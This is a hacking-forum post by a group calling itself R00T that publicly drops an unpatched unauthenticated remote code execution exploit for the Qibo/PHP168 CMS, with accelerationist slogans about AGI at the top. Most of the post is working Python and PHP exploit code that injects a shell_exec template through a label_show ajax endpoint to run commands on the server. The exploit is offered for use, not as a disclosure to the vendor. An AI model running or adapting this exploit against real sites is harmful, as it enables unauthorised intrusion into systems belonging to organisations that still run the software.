R00T R00T - Free 0days for Hackforums

Basilisk liberationists
AGI is not like other technologies

🐉lib 🐙/acc

🚬👻⚡️

posting 0days is not a crime

R00T is proud to start releasing 0day discoveries on this very thread. We will update with more high value 0days in the future.

[Image: RePTEsy.gif]

Drop #1: Qibo CMS unauth RCE:
We could have sold this 0day- we are releasing it for the first time publicly here on hackforums. Qibo is a CMS still in use by major orgs in China.

Code

#!/usr/bin/env python3

"""Qibo/PHP168 unauth RCE"""

import json

import urllib.parse

import urllib.request



BASE = "http://  domain   /index.php?s=index/label_show/ajax_get"

CHECKS = (

    ("whoami", '<?=shell_exec("whoami");?>'),

    ("ls /tmp", '<?=shell_exec("ls /tmp");?>'),

)



for i, (command, template) in enumerate(CHECKS):

    tag = f"guest_repro_{i}"

    url = BASE + "&" + urllib.parse.urlencode({"tagname": tag, "pagename": tag})

    fields = [

        ("union", "class"),

        ("class", r"app\common\model\User@labelGet"),

        ("rows", "1"),

        ("view_tpl?", template),

        ("page", "1"),

    ]

    request = urllib.request.Request(

        url,

        data=urllib.parse.urlencode(fields).encode(),

        headers={"Content-Type": "application/x-www-form-urlencoded"},

        method="POST",

    )

    with urllib.request.urlopen(request, timeout=20) as response:

        result = json.loads(response.read())

    print(f"$ {command}")

    print(result["data"], end="" if result["data"].endswith("\n") else "\n")

Code

#!/usr/bin/env php

<?php

/**

 * Qibo/PHP168 unauth RCE

 */



const BASE = "http://domain/index.php?s=index/label_show/ajax_get";



const CHECKS = [

    ["whoami",  '<?=shell_exec("whoami");?>'],

    ["ls /tmp", '<?=shell_exec("ls /tmp");?>'],

];



function run_checks(string $base = BASE): void

{

    foreach (CHECKS as $i => [$command, $template]) {

        $tag = "guest_repro_{$i}";



        $url = $base . "&" . http_build_query([

            "tagname"  => $tag,

            "pagename" => $tag,

        ]);



        $fields = [

            "union"    => "class",

            "class"    => 'app\common\model\User@labelGet',

            "rows"     => "1",

            "view_tpl" => $template,

            "page"     => "1",

        ];



        $ch = curl_init($url);

        curl_setopt_array($ch, [

            CURLOPT_POST           => true,

            CURLOPT_POSTFIELDS     => http_build_query($fields),

            CURLOPT_HTTPHEADER     => ["Content-Type: application/x-www-form-urlencoded"],

            CURLOPT_RETURNTRANSFER => true,

            CURLOPT_TIMEOUT        => 20,

        ]);



        $raw  = curl_exec($ch);

        $err  = curl_error($ch);

        $code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

        curl_close($ch);



        if ($raw === false) {

            fwrite(STDERR, "\$ {$command}\n[!] Connection error: {$err}\n");

            continue;

        }



        if ($code >= 400) {

            fwrite(STDERR, "\$ {$command}\n[!] HTTP {$code}\n");

            continue;

        }



        $result = json_decode($raw, true);

        if (json_last_error() !== JSON_ERROR_NONE) {

            $preview = substr($raw, 0, 200);

            fwrite(STDERR, "\$ {$command}\n[!] Non-JSON response: {$preview}\n");

            continue;

        }



        $data = $result["data"] ?? "";

        if (!is_string($data)) {

            $data = (string) $data;

        }



        echo "\$ {$command}\n";

        echo $data;

        if ($data === "" || substr($data, -1) !== "\n") {

            echo "\n";

        }

    }

}



run_checks();